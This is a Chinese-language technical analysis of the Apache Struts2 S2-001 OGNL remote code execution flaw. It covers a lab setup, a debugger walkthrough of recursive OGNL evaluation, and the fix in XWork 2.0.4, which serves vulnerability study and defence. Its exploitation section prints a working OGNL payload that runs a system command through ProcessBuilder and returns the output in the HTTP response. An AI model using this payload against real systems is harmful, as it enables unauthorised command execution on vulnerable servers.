Struts-001远程代码执行漏洞分析

1.漏洞信息

官方链接https://cwiki.apache.org/confluence/display/WW/S2-001

官方概述:Remote code exploit on form validation error

影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

修复摘要:数据 re-display 时禁止执行 OGNL 表达式

2.漏洞原理

Struts2框架表单的验证机制(Validation)主要依赖于两个拦截器:Validationworkflow,在默认配置下,如果用户所提交的表单验证出错不会跳转到新的页面,而是在后端OGNL表达式会解析处理传入字段的内容,从而执行payload。

3.环境搭建

下载 Struts2.0.1http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip

3.1 目录结构

3.2 引用的包

  • commons-logging-1.0.4.jar
  • freemarker-2.3.4.jar
  • ognl-2.6.7.jar
  • struts2-api-2.0.1.jar
  • struts2-core-2.0.1.jar
  • xwork-2.0-beta-1.jar

3.3 相关文件

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

com.demo.action.LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

<display-name>S2-001 Example</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

</web-app>

4.漏洞分析

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写。而且struts2的主题、模板都提供了很好的扩展性,实现了更好的代码复用。

Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

使用struts2的标签的jsp页面,需要头声明:<%@ taglib prefix=”s” uri=”/struts-tags” %>

而在Struts2-core核心包的META-INF/struts-tags.tld中,里面定义了各个标签的属性以及处理类等内容

标签中的具体实现类struts2-core-2.0.1.jar!/org/apache/struts2/views/jsp/URLTag.class,继承了ComponentTagSupport类,里面包含了很多公共的属性,同时URLTag也定义了自己的属性,action,value,escapeAmp等,与配置文件相呼应。

而URL标签是依靠URLTag类实现的,它继承的ComponentTagSupport组件

其实标签实际上是继承了http servlet中可扩展的StrutsBodyTagSupport类。然后会依次执行以下方法:

doStartTag()
doEndTag()

回到struts.xml文件中,params拦截器是用于设置action上的请求参数,默认被调用的,拦截器主要作用是在调用action之前提供预处理逻辑。

所以我们进入到xwork-2.0.1.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中,如下图标记处所示,此处表示接受我们传入的参数值,并调用此方法,因此我们从此处打断点调试

执行到这里,跟进invocation.invoke()

会进入到xwork-2.0.1.jar!com/opensymphony/xwork2/DefaultActionInvocation

跟进executeResult()

经过多次步入,会步入到struts2-core-2.0.1.jar!org/apache/struts2/dispatcher/ServletDisatcherResult.class

继续跟进会来到
struts2-core-2.0.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class

这里会对jsp标签<s:textfield name="username" label="username" />进行解析,首先会执行doStartTag()方法,其中getBean()方法是获取到url组件,然后将组件插入到XWork容器中进行维护,populateParams()是将获取url组件中的属性赋值,这一部分也是执行渲染ur前的准备工作,执行后回到index.jsp

当遇到闭合标签/>后,会执行doEndTag(),只有执行doEndTag()后Payload才可以执行,这里主要执行组件的自定义方法为end方法

跟进compoent.end,这里主要是对url标签进行渲染

继续跟进evaluateParams(),遍历标签的属性,获取标签的各项属性值。

继续执行,可以看到altSyntax(),它是Struts 2 框架处理标签内容的一种语法,主要对标签中的 OGNL 表达式进行解析并执行。而altSyntax()在处理标签时,对OGNL 表达式的解析能力实际上是依赖于开源组件XWork,如果altSyntax功能开启,在赋值时使用%{}括起来,这个表达式就会求值

addParameter()是查询并添加结果至参数列表,其中查询的语句是%{username}

继续跟进,会进入到struts2-core-2.0.1.jar!/org/apache/struts2/components/ComponentfindValu()方法,如果开启altSyntax()会进入到TextParseUtil.translateVariables对表达式进行解析

继续跟进TextParseUtil.translateVariables,xwork-2.0.1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class

往下执行可以看到,表达式为%{username}

经过while循环,确定start和end定位后,此时varusername,并赋值标签值o,进入OGNL表达式,再赋值给result

此时%{1+1}就是我们传入的payload
xwork-2.0.1.jar!com/opensymphony/xwork2/util/OgnlValueStack.class

递归解析表达式,也就是说最终 Payload 将变为 1+1,进入 OGNL 最终得以执行!

5.漏洞利用

username=%{1+1}&password=sqyy

POC:

1
username=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&password=sqyy

6.漏洞修复

在XWork 2.0.4com/opensymphony/xwork2/util/TextParseUtil.class中,取消了对OGNL的递归解析

参考链接